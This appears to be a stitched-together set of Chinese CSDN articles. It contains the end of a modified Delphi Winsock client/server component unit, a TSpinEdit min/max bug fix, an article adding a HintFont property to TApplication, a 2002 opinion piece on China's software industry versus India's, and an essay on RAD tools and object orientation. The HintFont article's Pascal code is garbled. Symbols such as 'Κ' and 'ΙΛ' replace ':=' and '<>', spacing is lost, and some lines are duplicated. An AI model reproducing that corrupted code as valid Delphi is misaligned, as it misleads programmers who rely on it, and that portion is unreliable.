DoListen(QueueSize);
end else
AsyncInitSocket(Name, Address, Service, Port, QueueSize, False);
except
Disconnect(FSocket);
raise;
end;
end;

procedure TCustomWinSocket.Open(const Name, Address, Service: string; Port: Word; Block: Boolean);
begin
if FConnected then raise ESocketError.CreateRes(@sSocketAlreadyOpen);
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if FSocket = INVALID_SOCKET then raise ESocketError.CreateRes(@sCannotCreateSocket);
try
Event(Self, seLookUp);
if Block then
begin
FAddr := InitSocket(Name, Address, Service, Port, True);
DoOpen;
end else
AsyncInitSocket(Name, Address, Service, Port, 0, True);
except
Disconnect(FSocket);
raise;
end;
end;

procedure TCustomWinSocket.Disconnect(Socket: TSocket);
begin
Lock;
try
if FLookupHandle <> 0 then
CheckSocketResult(WSACancelASyncRequest(FLookupHandle), 'WSACancelASyncRequest');
FLookupHandle := 0;
if (Socket = INVALID_SOCKET) or (Socket <> FSocket) then exit;
Event(Self, seDisconnect);
CheckSocketResult(closesocket(FSocket), 'closesocket');
FSocket := INVALID_SOCKET;
FAddr.sin_family := PF_INET;
FAddr.sin_addr.s_addr := INADDR_ANY;
FAddr.sin_port := 0;
FConnected := False;
finally
Unlock;
end;
end;

procedure TCustomWinSocket.DefaultHandler(var Message);
begin
with TMessage(Message) do
if FHandle <> 0 then
Result := CallWindowProc(@DefWindowProc, FHandle, Msg, wParam, lParam);
end;

procedure TCustomWinSocket.Event(Socket: TCustomWinSocket; SocketEvent: TSocketEvent);
begin
if Assigned(FOnSocketEvent) then FOnSocketEvent(Self, Socket, SocketEvent);
end;

procedure TCustomWinSocket.Error(Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
if Assigned(FOnErrorEvent) then FOnErrorEvent(Self, Socket, ErrorEvent, ErrorCode);
end;

function TCustomWinSocket.SendText(const s: string): Integer;
begin
Result := SendBuf(Pointer(S)^, Length(S));
end;

function TCustomWinSocket.SendBuf(var Buf; Count: Integer): Integer;
var
ErrorCode: Integer;
begin
Lock;
try
Result := 0;
if not FConnected then Exit;
Result := send(FSocket, Buf, Count, 0);
if Result = SOCKET_ERROR then
begin
ErrorCode := WSAGetLastError;
if (ErrorCode <> WSAEWOULDBLOCK) then
begin
Error(Self, eeSend, ErrorCode);
Disconnect(FSocket);
if ErrorCode <> 0 then
raise ESocketError.CreateResFmt(@sWindowsSocketError,
[SysErrorMessage(ErrorCode), ErrorCode, 'send']);
end;
end;
finally
Unlock;
end;
end;

procedure TCustomWinSocket.SetAsyncStyles(Value: TASyncStyles);
begin
if Value <> FASyncStyles then
begin
FASyncStyles := Value;
if FSocket <> INVALID_SOCKET then
DoSetAsyncStyles;
end;
end;

procedure TCustomWinSocket.Read(Socket: TSocket);
begin
if (FSocket = INVALID_SOCKET) or (Socket <> FSocket) then Exit;
Event(Self, seRead);
end;

function TCustomWinSocket.ReceiveBuf(var Buf; Count: Integer): Integer;
var
ErrorCode: Integer;
begin
Lock;
try
Result := 0;
if (Count = -1) and FConnected then
ioctlsocket(FSocket, FIONREAD, Longint(Result))
else begin
if not FConnected then Exit;
Result := recv(FSocket, Buf, Count, 0);
if Result = SOCKET_ERROR then
begin
ErrorCode := WSAGetLastError;
if ErrorCode <> WSAEWOULDBLOCK then
begin
Error(Self, eeReceive, ErrorCode);
Disconnect(FSocket);
if ErrorCode <> 0 then
raise ESocketError.CreateResFmt(@sWindowsSocketError,
[SysErrorMessage(ErrorCode), ErrorCode, 'recv']);
end;
end;
end;
finally
Unlock;
end;
end;

function TCustomWinSocket.ReceiveLength: Integer;
begin
Result := ReceiveBuf(Pointer(nil)^, -1);
end;

function TCustomWinSocket.ReceiveText: string;
begin
SetLength(Result, ReceiveBuf(Pointer(nil)^, -1));
SetLength(Result, ReceiveBuf(Pointer(Result)^, Length(Result)));
end;

procedure TCustomWinSocket.WndProc(var Message: TMessage);
begin
try
Dispatch(Message);
except
Application.HandleException(Self);
end;
end;

procedure TCustomWinSocket.Write(Socket: TSocket);
begin
if (FSocket = INVALID_SOCKET) or (Socket <> FSocket) then Exit;
end;

procedure TCustomWinSocket.CMLookupComplete(var Message: TCMLookupComplete);
begin
if Message.LookupHandle = FLookupHandle then
begin
FLookupHandle := 0;
if Message.AsyncError <> 0 then
begin
Disconnect(FSocket);
raise ESocketError.CreateResFmt(@sWindowsSocketError,
[SysErrorMessage(Message.AsyncError), Message.ASyncError, 'ASync Lookup']);
end;
if FLookupState = lsLookupAddress then
begin
FAddr.sin_addr.S_addr := Integer(Pointer(PHostEnt(FGetHostData).h_addr^)^);
ASyncInitSocket('', '', FService, FPort, FQueueSize, FClient);
end else if FLookupState = lsLookupService then
begin
FAddr.sin_port := PServEnt(FGetHostData).s_port;
FPort := 0;
FService := '';
ASyncInitSocket('', '', '', 0, FQueueSize, FClient);
end;
end;
end;

{ TClientWinSocket }

procedure TClientWinSocket.Connect(Socket: TSocket);
begin
FConnected := True;
Event(Self, seConnect);
end;

procedure TClientWinSocket.SetClientType(Value: TClientType);
begin
if Value <> FClientType then
if not FConnected then
begin
FClientType := Value;
ASyncStyles := [asRead, asWrite, asConnect, asClose];
end else raise ESocketError.CreateRes(@sCantChangeWhileActive);
end;

{ TServerClientWinsocket }

constructor TServerClientWinSocket.Create(Socket: TSocket; ServerWinSocket: TServerWinSocket);
begin
FServerWinSocket := ServerWinSocket;
if Assigned(FServerWinSocket) then
begin
FServerWinSocket.AddClient(Self);
if FServerWinSocket.AsyncStyles <> [] then
begin
OnSocketEvent := FServerWinSocket.ClientEvent;
OnErrorEvent := FServerWinSocket.ClientError;
end;
end;
inherited Create(Socket);
if FServerWinSocket.ASyncStyles <> [] then DoSetAsyncStyles;
if FConnected then Event(Self, seConnect);
end;

destructor TServerClientWinSocket.Destroy;
begin
if Assigned(FServerWinSocket) then
FServerWinSocket.RemoveClient(Self);
inherited Destroy;
end;

{ TServerWinSocket }

constructor TServerWinSocket.Create(ASocket: TSocket);
begin
FConnections := TList.Create;
FListLock := TCriticalSection.Create;
inherited Create(ASocket);
FAsyncStyles := [asAccept];
end;

destructor TServerWinSocket.Destroy;
begin
inherited Destroy;
FConnections.Free;
FListLock.Free;
end;

procedure TServerWinSocket.AddClient(AClient: TServerClientWinSocket);
begin
FListLock.Enter;
try
if FConnections.IndexOf(AClient) < 0 then
FConnections.Add(AClient);
finally
FListLock.Leave;
end;
end;

procedure TServerWinSocket.RemoveClient(AClient: TServerClientWinSocket);
begin
FListLock.Enter;
try
FConnections.Remove(AClient);
finally
FListLock.Leave;
end;
end;
procedure TServerWinSocket.Accept(Socket: TSocket);
var
ClientSocket: TServerClientWinSocket;
ClientWinSocket: TSocket;
Addr: TSockAddrIn;
Len: Integer;
OldOpenType, NewOpenType: Integer;
begin
Len := SizeOf(OldOpenType);
if getsockopt(INVALID_SOCKET, SOL_SOCKET, SO_OPENTYPE, PChar(@OldOpenType),
Len) = 0 then
try
Len := SizeOf(Addr);
ClientWinSocket := WinSock.accept(Socket, @Addr, @Len);
if ClientWinSocket <> INVALID_SOCKET then
begin
ClientSocket := GetClientSocket(ClientWinSocket);
if Assigned(FOnSocketEvent) then
FOnSocketEvent(Self, ClientSocket, seAccept);
end;
finally
Len := SizeOf(OldOpenType);
setsockopt(INVALID_SOCKET, SOL_SOCKET, SO_OPENTYPE, PChar(@OldOpenType), Len);
end;
end;
procedure TServerWinSocket.ClientEvent(Sender: TObject; Socket: TCustomWinSocket;
SocketEvent: TSocketEvent);
begin
case SocketEvent of
seAccept,
seLookup,
seConnecting,
seListen:
begin end; file://不作反应
seConnect: ClientConnect(Socket); file://触发相应事件
seDisconnect: ClientDisconnect(Socket);
seRead: ClientRead(Socket);
seWrite: ClientWrite(Socket);
end;
end;

procedure TServerWinSocket.ClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ClientErrorEvent(Socket, ErrorEvent, ErrorCode);
end;

function TServerWinSocket.GetActiveConnections: Integer;
begin
Result := FConnections.Count;
end;

function TServerWinSocket.GetConnections(Index: Integer): TCustomWinSocket;
begin
Result := FConnections[Index];
end;

procedure TServerWinSocket.Listen(var Name, Address, Service: string; Port: Word;
QueueSize: Integer);
begin
inherited Listen(Name, Address, Service, Port, QueueSize, ServerType = stnonBlocking);
file://messagebox(0,0,'ksdfaldkf',0);
{ if FConnected then
begin
FServerAcceptThread := TServerAcceptThread.Create(False, Self);
end; }
end;

procedure TServerWinSocket.SetServerType(Value: TServerType);
begin
if Value <> FServerType then
if not FConnected then
begin
FServerType := Value;
ASyncStyles := [asAccept];
end else raise ESocketError.CreateRes(@sCantChangeWhileActive);
end;

function TServerWinSocket.GetClientSocket(Socket: TSocket): TServerClientWinSocket;
begin
Result := nil;
if Assigned(FOnGetSocket) then FOnGetSocket(Self, Socket, Result);
if Result = nil then
Result := TServerClientWinSocket.Create(Socket, Self);
end;

procedure TServerWinSocket.ClientConnect(Socket: TCustomWinSocket);
begin
if Assigned(FOnClientConnect) then FOnClientConnect(Self, Socket);
end;

procedure TServerWinSocket.ClientDisconnect(Socket: TCustomWinSocket);
begin
if Assigned(FOnClientDisconnect) then FOnClientDisconnect(Self, Socket);
if ServerType = stNonBlocking then Socket.DeferFree;
end;

procedure TServerWinSocket.ClientRead(Socket: TCustomWinSocket);
begin
if Assigned(FOnClientRead) then FOnClientRead(Self, Socket);
end;

procedure TServerWinSocket.ClientWrite(Socket: TCustomWinSocket);
begin
if Assigned(FOnClientWrite) then FOnClientWrite(Self, Socket);
end;

procedure TServerWinSocket.ClientErrorEvent(Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
if Assigned(FOnClientError) then FOnClientError(Self, Socket, ErrorEvent, ErrorCode);
end;

{ TAbstractSocket }

procedure TMAbstractSocket.DoEvent(Sender: TObject; Socket: TCustomWinSocket;
SocketEvent: TSocketEvent);
begin
Event(Socket, SocketEvent);
end;

procedure TMAbstractSocket.DoError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
Error(Socket, ErrorEvent, ErrorCode);
end;

procedure TMAbstractSocket.SetActive(Value: Boolean);
begin
if Value <> FActive then
begin
if (csDesigning in ComponentState) or (csLoading in ComponentState) then
FActive := Value;
if not (csLoading in ComponentState) then
DoActivate(Value);
end;
end;

procedure TMAbstractSocket.InitSocket(Socket: TCustomWinSocket);
begin
Socket.OnSocketEvent := DoEvent;
Socket.OnErrorEvent := DoError;
end;

procedure TMAbstractSocket.Loaded;
begin
inherited Loaded;
DoActivate(FActive);
end;

procedure TMAbstractSocket.SetAddress(Value: string);
begin
if CompareText(Value, FAddress) <> 0 then
begin
if not (csLoading in ComponentState) and FActive then
raise ESocketError.CreateRes(@sCantChangeWhileActive);
FAddress := Value;
end;
end;

procedure TMAbstractSocket.SetHost(Value: string);
begin
if CompareText(Value, FHost) <> 0 then
begin
if not (csLoading in ComponentState) and FActive then
raise ESocketError.CreateRes(@sCantChangeWhileActive);
FHost := Value;
end;
end;

procedure TMAbstractSocket.SetPort(Value: Integer);
begin
if FPort <> Value then
begin
if not (csLoading in ComponentState) and FActive then
raise ESocketError.CreateRes(@sCantChangeWhileActive);
FPort := Value;
end;
end;

procedure TMAbstractSocket.SetService(Value: string);
begin
if CompareText(Value, FService) <> 0 then
begin
if not (csLoading in ComponentState) and FActive then
raise ESocketError.CreateRes(@sCantChangeWhileActive);
FService := Value;
end;
end;

procedure TMAbstractSocket.Open;
begin
Active := True;
end;

procedure TMAbstractSocket.Close;
begin
Active := False;
end;

{ TCustomSocket }

procedure TMCustomSocket.Event(Socket: TCustomWinSocket; SocketEvent: TSocketEvent);
begin
case SocketEvent of
seLookup: if Assigned(FOnLookup) then FOnLookup(Self, Socket);
seConnecting: if Assigned(FOnConnecting) then FOnConnecting(Self, Socket);
seConnect:
begin
FActive := True;
if Assigned(FOnConnect) then FOnConnect(Self, Socket);
end;
seListen:
begin
FActive := True;
if Assigned(FOnListen) then FOnListen(Self, Socket);
end;
seDisconnect:
begin
FActive := False;
if Assigned(FOnDisconnect) then FOnDisconnect(Self, Socket);
end;
seAccept: if Assigned(FOnAccept) then FOnAccept(Self, Socket);
seRead: if Assigned(FOnRead) then FOnRead(Self, Socket);
seWrite: if Assigned(FOnWrite) then FOnWrite(Self, Socket);
end;
end;

procedure TMCustomSocket.Error(Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
if Assigned(FOnError) then FOnError(Self, Socket, ErrorEvent, ErrorCode);
end;

{ TMClientSocket }

constructor TMClientSocket.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FClientSocket := TClientWinSocket.Create(INVALID_SOCKET);
InitSocket(FClientSocket);
end;

destructor TMClientSocket.Destroy;
begin
FClientSocket.Free;
inherited Destroy;
end;

procedure TMClientSocket.DoActivate(Value: Boolean);
begin
if (Value <> FClientSocket.Connected) and not (csDesigning in ComponentState) then
begin
if FClientSocket.Connected then
FClientSocket.Disconnect(FClientSocket.FSocket)
else FClientSocket.Open(FHost, FAddress, FService, FPort, ClientType = ctNonBlocking);
end;
end;

function TMClientSocket.GetClientType: TClientType;
begin
Result := FClientSocket.ClientType;
end;

procedure TMClientSocket.SetClientType(Value: TClientType);
begin
FClientSocket.ClientType := Value;
end;

{ TCustomServerSocket }

destructor TMCustomServerSocket.Destroy;
begin
FServerSocket.Free;
inherited Destroy;
end;

procedure TMCustomServerSocket.DoActivate(Value: Boolean);
begin
if (Value <> FServerSocket.Connected) and not (csDesigning in ComponentState) then
begin
if FServerSocket.Connected then
FServerSocket.Disconnect(FServerSocket.SocketHandle)
else FServerSocket.Listen(FHost, FAddress, FService, FPort, SOMAXCONN);
end;
end;

function TMCustomServerSocket.GetServerType: TServerType;
begin
Result := FServerSocket.ServerType;
end;

procedure TMCustomServerSocket.SetServerType(Value: TServerType);
begin
FServerSocket.ServerType := Value;
end;

function TMCustomServerSocket.GetGetSocketEvent: TGetSocketEvent;
begin
Result := FServerSocket.OnGetSocket;
end;

procedure TMCustomServerSocket.SetGetSocketEvent(Value: TGetSocketEvent);
begin
FServerSocket.OnGetSocket := Value;
end;

function TMCustomServerSocket.GetOnClientEvent(Index: Integer): TSocketNotifyEvent;
begin
case Index of
0: Result := FServerSocket.OnClientRead;
1: Result := FServerSocket.OnClientWrite;
2: Result := FServerSocket.OnClientConnect;
3: Result := FServerSocket.OnClientDisconnect;
end;
end;

procedure TMCustomServerSocket.SetOnClientEvent(Index: Integer;
Value: TSocketNotifyEvent);
begin
case Index of
0: FServerSocket.OnClientRead := Value;
1: FServerSocket.OnClientWrite := Value;
2: FServerSocket.OnClientConnect := Value;
3: FServerSocket.OnClientDisconnect := Value;
end;
end;

function TMCustomServerSocket.GetOnClientError: TSocketErrorEvent;
begin
Result := FServerSocket.OnClientError;
end;

procedure TMCustomServerSocket.SetOnClientError(Value: TSocketErrorEvent);
begin
FServerSocket.OnClientError := Value;
end;

{ TServerSocket }

constructor TMServerSocket.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FServerSocket := TServerWinSocket.Create(INVALID_SOCKET);
InitSocket(FServerSocket);
end;
procedure Register;
begin
RegisterComponents('MyPage', [TMServerSocket,TMClientSocket]);
end;

end.


CSDN_文档中心_改良控件－Delphi自带控件Bug的消除

不管你想不相信Delphi自带的组件里竟然存在着一个不容忽视的Bug。
开始我一点都没有想到是Delphi自带的控件有Bug。害的我调试了很多遍，后来经过跟踪才发现的。
看到Samples页上的TSpinEdit控件了吗？他有MaxValue（最大值）、MinValue（最小值）的属性。
Bug1：先把Value设为7，再把MaxValue设为5，MinValue设为0，Value竟然不会自动改变！！！
Bug2：你设置一下MaxValue为－7，MinValue为7。看到了吗？最大值竟然可以比最小值还小。
Bug3：当最大值和最小值相等时Value竟然可以随便设置...

我不明白这个作者当时是如何设计的这么多的Bug，我不明白Borland为何采用这个控件。也许Borland的把关人员是位GG，而这位开发这是位MM，于是......

言归正转让我们打开Delphi安装目录下\Source\Samples\Spin.Pas

找到property MaxValue: LongInt read FMaxValue write FMaxValue;
property MinValue: LongInt read FMinValue write FMinValue;
Bug1、Bug2同时被找到！竟然连判断都没有，直接设置FMaxValue、FMinValue的值，也就是最大最小值竟然不受限制可以随便设置。设置完最大最小值也不刷新Value，导致了Bug1的产生。
改为：
property MaxValue: LongInt read FMaxValue write SetMaxValue;
property MinValue: LongInt read FMinValue write SetMinValue;
在Private中添加两个过程：
procedure SetMaxValue(Value: LongInt);
procedure SetMinValue(Value: LongInt);
内容如下：

procedure TSpinEdit.SetMaxValue(Value: LongInt);
begin
if Value >= FMinValue then
FMaxValue := Value;
SetValue(Self.Value);
end;

procedure TSpinEdit.SetMinValue(Value: LongInt);
begin
if Value <= FMaxValue then
FMinValue := Value;
SetValue(Self.Value);
end;

它的Private中明明有CheckValue函数嘛，让我来看看。

function TSpinEdit.CheckValue (NewValue: LongInt): LongInt;
begin
Result := NewValue;
if (FMaxValue <> FMinValue) then
begin
if NewValue < FMinValue then
Result := FMinValue
else if NewValue > FMaxValue then
Result := FMaxValue;
end;
找到了Bug3的原因此控件作者竟然没有判断FMaxValue、FMinValue相等的情况
更改为：
function TSpinEdit.CheckValue (NewValue: LongInt): LongInt;
begin
Result := NewValue;
if (FMaxValue <> FMinValue) then
begin
if NewValue < FMinValue then
Result := FMinValue
else if NewValue > FMaxValue then
Result := FMaxValue;
end
else
begin
Result:=FMaxValue;
end;
end;


CSDN_文档中心_改造HINT的输出方式

Delphi为每个可视构件（而非快速按钮专属）都提供了Hint
及ShowHint特性，其中Hint属性指定文本提示盒中的文本，
而ShowHint属性则决定鼠标指向构件时是否显示文本提示盒，
当ShowHint值为True时，显示文本提示盒。用户可在对象监
视器（ObjectInspector）的属性栏中设置或在程序中修改Hint
及ShowHint属性。
除此之外，Delphi还在类TApplication中提供了
HintColor、HintPause、HintHidePause、HintShortPause几
个属性来控制文本提示盒的输出方式。
一般来说，HintColor、HintPause、HintHidePause、
HintShortPause通常在Form的OnCreate事件中设定它们的值
（如有需要的话），如以下的一段程序。
ProcedureTMainForm．FormCreate（Sender：TObject）；
begin
Application．HintPause：Κ0；｛使文本提示盒立即出现｝
Application．HintPause：ΚclBlue；｛以蓝色小方框的
方式出现｝
Application．HintHidePause：Κ10000；｛延长停留时间
为10秒｝
为10秒｝
Application．HintShortPause：Κ100；
end；
另外，在编程中，我们还可以通过TApplication的OnHint
事件获取鼠标指向构件的Hint文本。
事实上，Delphi提供的文本提示盒输出方框、文本字型都
太小，既不美观亦不易看清。值得庆幸的是，Delphi2．0版提
供了全部构件的源代码，我们可以通过对类TApplication的
源码作一些小修改，增加一个HintFont的属性，即可象修改
HintColor一样来修改文本提示盒的字体、字型大小等。
TApplication是在Forms单元里定义的，因此让我们打开
Forms．pas单元文件来作以下一些修改：
ProcedureSetHintColor（Value：TColor｝；
ProcedureSetHintFont（Value：TFont）；
｛1997．04．19Mynewidea｝
PropertyHintColor：
TColorreadFHintColorWriteSetHintColor；
PropertyHintFont：TFontwriteSetHintFont；
｛1997．04．19Mynewidea｝
ProcedureTApplication．SetHintColor（Value：Color）；
上增加一个过程
｛1997．04．19Mynewidea｝
ProcedureTApplication．SetHintFont（Value：TFont）；
beginif（ValueΙΛnil）and（FHinWindowΙΛnil）then
FHintWindow．Canvas．Font：ΚValue；
end；｛1997．04．19Mynewidea｝
别忘了在新增的语句旁作一些必要的注释，如上面的
｛1997．04．19Mynewidea｝，可以很清楚地知道哪些语句是你
自己加进去的。
将修改后的Forms．pas存盘，然后重建库文件，以后在
你的库文件里，类TApplication就多了一个属性HintFont，
你就可以很轻易的通过HintFont属性来修改文本提示盒的字
体、字型大小了，如以下一段程序：
ProcedureTMainForm．FormCreate（Sender：TObject）；
Var
NewHintFont：ΚTFont．Create；
begin
NewHintFont：ΚTFont．Create；
NewHintFont．Name：Κ′楷体－GB2312′；｛设置字体为
楷体｝
NewHintFont．Size：Κ12；｛设置字型大小为12｝
Application．HintFont：ΚNewHintFont；
end；
此外，Delphi绘制文本提示盒是在类THintWindow的方法
ActivateHint中通过WindowsAPI资源函数SetWindowPos来实
r> ActivateHint中通过WindowsAPI资源函数SetWindowPos来实
现的，这段代码在Controls．pas单元文件里，有兴趣的读者
可以进一步修改这段代码以绘制其他任意形状（如椭圆、圆等）
而不仅仅是矩型方框的文本提示盒！但或许最好的方法是从类
THintWindow继承下来一个新类，并重载ActivateHint方
法，然后在应用程序开始处给变量HintWindowClass指派一个
新类实例

(摘自BBS 水木清华站)


CSDN_文档中心_赶超印度应是中国软件业发展方向吗？

赶超印度应是中国软件业发展方向吗？ 2002-05-31

    今年被称作“软件年”，说是“只要人才结构合理，中国软件业不出两年可赶超印度”。所谓“赶超印度”，赶超什么、赶上了又怎样？

    走“技工贸”的路，发展自己的核心技术

    首先看看“贸工技”和“技工贸”的分野。印度软件业的基本发展战略可以用“贸工技”来概括，即：以贸易打头带动生产、以生产需要带动技术发展，更具体地说，印度软件的成就主要来自劳力出口贸易。由于发展目标不是国内，因而，尽管印度的软件劳力出口贸易额非常可观，却没有掌握核心技术，整个软件业是在别人后面跑和为他人作嫁衣裳的加工厂，结果，它的信息产业整体还是落后，各行各业的企业、人民的生活环境、社会文化和科教，乃至国民素质，并没有像美国等国家那样从软件业和信息产业中获得实质性的发展效益。这应是中国软件业的发展方向吗？

    就此问题，笔者请教了中国科学院院士倪光南。倪光南说：对中国来说，“贸工技”在理论和实践上都是行不通的；中国需要发展自主和完整的软件产业体系，这跟印度依靠接受美国软件业的外加工而发展起来，是不同的；现在，不少人强调学习印度软件业，我认为要提出注意：可以学习印度的一些经验，但不能模仿印度的发展模式。

    倪光南院士的观点非常有道理。从安全考虑，中国必须有自己的核心技术及其一整套软件工业标准。微软公司的软件产品不安全，不但在中国、而且在美国也是许多机构和客户的共识。去年年底，《纽约时报》等报刊报导说，美国联邦调查局提出警告，建议客户对微软公司窗口系列软件产品采取预防措施，保证安全。同时，美国《华尔街技术》杂志述评说明，许多美国银行和金融企业对微软公司的产品质量和能否保证数据安全有很大疑问，因而对采用该公司产品一直持有非常谨慎的态度。对这些警告和疑问，微软公司至今没有拿出令人信服的答案，据报导，该公司正在做的，是让9000名职工返校接受信息安全的基本训练。微软公司的母国对该公司产品的安全都不放心，中国自然更不能掉以轻心。

    从国家实力发展来说，中国需要有自己核心技术，原子弹和航天技术是个有力证明。目前，中国的原子弹和航天技术也许还不如美国和俄国，但自己有了，整个国家的国防实力和国际地位就得到了实质提高，而且，有了那些技术，如何攀登更高水平就有了基础。若当初中国的原子弹和航天事业也搞“贸工技”，那么，今天的中国就不会像现在这样为全世界所尊重。同样道理，在信息科学技术时代，没有自己的信息产业核心技术和工业标准，贸易额再大，国家实力也难以得到实质提高。“技工贸”和“贸工技”两个思路的战略区别，是不言而喻的。

    尊重基本原理，正视历史条件

    从中文特点考虑，中国非常需要发展自己的整套软件工业标准。英文工具和软件能遍布全球信息产业的各个角落，不是所谓“语言霸权”的结果，而是长期科技发展的结果。1948年，美国贝尔试验室闪农和其他科学家提出了现代信息学基本理论；根据这些原理，美国IBM等公司开发了一系列信息科学技术，直到1970年代结构关系数据理论建立，形成了从操作系统、数据模型、算法语言、编程工具、应用软件和通讯等等一整套英文软件技术和工业标准，这些技术和标准，还在发展之中。换句话说，英文工具和软件能有今天的发展优势，是长达数十年之久的基础建设的结果。印度软件业不需要过问现代信息学原理和语言文字方式问题，道理很简单：由于历史原因，印度的第二语言是英文，印度软件业所需要的基础建设，美国等西方国家已经完成了。

    中文软件业没有印度软件业的历史条件。例如，仅就汉字编码系统来说，从开始到现在，平均每五年更新一次，按照这个速度，为现有汉字编完字符集还需要10到15年；这个字符集是否适合中文数据全面管理，还没有做出有说服力的科学检验和评价；“万马(码)奔腾”多年，不管那些编码的“爱国”调子多高，它们基本上是迁就英文制式、而不是根据中文数据全面管理设计的。“汉化”和迁就英文能解决中文数据的输入输出和检索等基本操作问题，却不能解决中文数据全面管理的问题。比如中文数据排序和算法语言，在没有空格的文字方式条件下，就很容易发生歧义错误。不管数据管理模型和算法等等是什么，文字符号标准稳定和规模合理，是个关键，可现在，中文数据至少有两套符号标准，一个是笔画、一个是现代汉语拼音，究竟哪个更适合时代发展的需要？运用现代信息学的基本原理解决这些问题，是中文数据全面管理的客观需要，也是发展自己的整套软件工业标准的基础。这些基础建设问题，需要通过发展核心技术来解决，出口劳力贸易无济于事。至于那些诉诸“语言霸权”、“知识产权超前”、或中文英文孰优孰劣，都是些似是而非的或是用情感代替科学技术的争辩，对发展自己的核心技术和整套工业标准，没有任何积极意义。

    互联网提供了多大机会？

    互联网的普及，似乎给中国软件业摆脱微软模式和建设自己的轨道，提供了一个机会。然而，如果发展思路是赶超印度，那么，这个机会也不会有多大帮助。互联网方式跟微软模式的区别，直接表现是源码开放与否，实质区别是企业开放与否。IBM公司为此提供了实际经验。1995年，面对互联网全球普及的热潮，IBM做出战略决定：放弃自己开发多年的操作系统OS/2和个人计算机业务，集中力量搞好网络大中型主机和基础科研。当时，许多人认为，那是IBM向微软窗口系统投降；实际上，IBM是在实行整个企业网络化，主导思想是三个开放：网络向所有操作系统开放、企业内各部门和企业间彼此开放、社会信息资源和信息技术开放，通过这些开放实现分享资源、提高企业生产率和改善成本效益。IBM公司的开放式网络化非常成功，促进了GE等美国大型企业网络化和社会网络化。有了这个成功基础，不管微软公司怎么动作，都不会影响美国信息产业的大局，因此，美国政府才敢于向微软公司提出反垄断起诉。

    印度软件业的起点是计算机联网，可它所走的道路却是企业封闭。正因为如此，尽管印度软件业劳力贸易额很高，它的信息产业、各行各业的企业和社会的整体却没有得到实质性发展，例如，世界银行等机构统计显示，印度的互联网、通信、企业网络化和社会网络化等等，都大大低于发展中国家的平均水平。如果能借用这些年流行的“国际接轨”说法，那就可以说，印度软件业没有自己的轨道，它是在别人的轨道上做劳力贸易。自己没有轨道，“与国际接轨”有什么意义呢？显然，所谓“两年赶超印度”，战略方向和思路都有问题。

    灯火阑栅处：赶超自己

    过去两年，网站热冷却下来，然而，信息产业技术还在持续发展。据美国风险投资协会的统计，2002年第一季度的美国风险投资为62.2亿美元；其中计算机软件投资为10.5亿美元，是最多的领域；第三名为生物学领域，获得7.52亿美元，而这个领域最活跃的又是需要大量软件开发的生物信息学领域。从2001年开始，尽管风险投资开始大量撤出网络工业，但仍然对软件业青睐，这并非因为软件业的劳力贸易前景如何(说实在的，它的劳力成本属于最高的)，而是因为它的开发者大都有各行各业网络化和计算机自动化所需要的技术发明或技术革新。这个趋势说明，不管经济周期发展到什么阶段，软件业发展的主动权在于自己是否掌握了有关技术，而不在劳力贸易。

    中国是世界上最大的信息产业市场之一，在世界人口中，平均每五个人当中就有一个人使用中文。美国等国家越来越多的软件企业看好中国和中文市场，而中国软件业却要像印度软件业那样到海外去出售劳力、为他人作嫁衣裳！用过去一句老话描绘，那是“抱着金饭碗要饭”。

    古诗词说：“众里寻他千百度，回头蓦见，那人正在灯火阑栅处。”中国软件业的出路在中国、在中文市场。中国软件业已经发展了二十多年，积累了许多成功经验和失败教训，培养了一大批卓越的人才。有这个基础，不设法总结自己和赶超自己、却去赶超印度，岂不可惜！如果中国软件产业能坚持“技工贸”、为中国市场发展出符合中文数据全面管理的和自己掌握主动权的核心技术和整套工业标准，那么，不要说赶超印度成为软件贸易大国，就是将来成为软件技术产业大国，也是满有希望的。

  来源：人民网


CSDN_文档中心_个人观点随笔-RAD和面向对象

个人观点随笔-RAD和面向对象

网上经常有讨论开发工具的优劣性文章。仿佛结果一定是一派要压倒另一派。特别是RAD与非RAD的争论。如“VC和BCB哪个更好”、“VC vs Dephi”等等。

有人曾经说做一个好的Win32程序员一定要懂得API。虽然Delphi、VB把API封装了起来，简化了编程工作，但也阻碍了成为高手的机会。极力倡导使用VC进行编程。我想之样的人他一定是Win32的编程好手，是VC的熟练工种。但他一定对RAD的开发工具不甚了解，特别是Delphi。（VB暂且先不讨论）。

RAD的开发工具确实入门很简单。拖拽几个控件，写几个事件。一个小程序就做完了。似乎对这个程序是怎样运行的不甚了解。确实造成了一大批人对BCB,Delphi的误解。BCB真简单。我想敢说这样的话的人不是一个刚刚对BCB入门的人，就是一个绝顶的WIN32程序员，对VCL和API很精通的人。第二种人那就无话可说了，他真的有资格说简单。第一种人BCB的VCL不但会方便你的开发，而且他决不会成为你成为高手的机会。如果你精通Object Pascal那么VCL将成为你学习的绝好参考。

我要强调的是要多多弄清内部机理，不要成为组件的砌砖奴隶。

Nicrosoft的一篇文章写得很好《把面向对象贯彻到底》。很多人用Delphi来做开发只是用到了它的组件提供的功能。很精通，精通什么呢，精通应用组件。现成组件所有功能特性他都会。可离了现成组件他什么也干不了。组件能做的就是他能力的极限。一旦用到相对低阶的API他就束手无策了。认为开发工具不足正是报漏了开发人员自身的不足。抱怨Delphi不能做低阶的事，正报漏了他本身这方面能力的欠缺。如果不是，他完全可以自己去开发、去扩展它。用惯了RAD开发工具不要被它华丽的外表所迷惑而不去探求更深的东西。我常常见到这样写代码的程序员：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

begin

Form1.Button1.Caption:='快速开发';

end;

end.

画线的的那行代码是有严重的逻辑错误的，虽然编译可以通过。Form1不过是Tform1类的一个实例而已。我们现在写的是一个TForm1的类。这段代码犯的错误就是以偏盖全，以一个特例去描述一个类，这是典型的白马非马论。

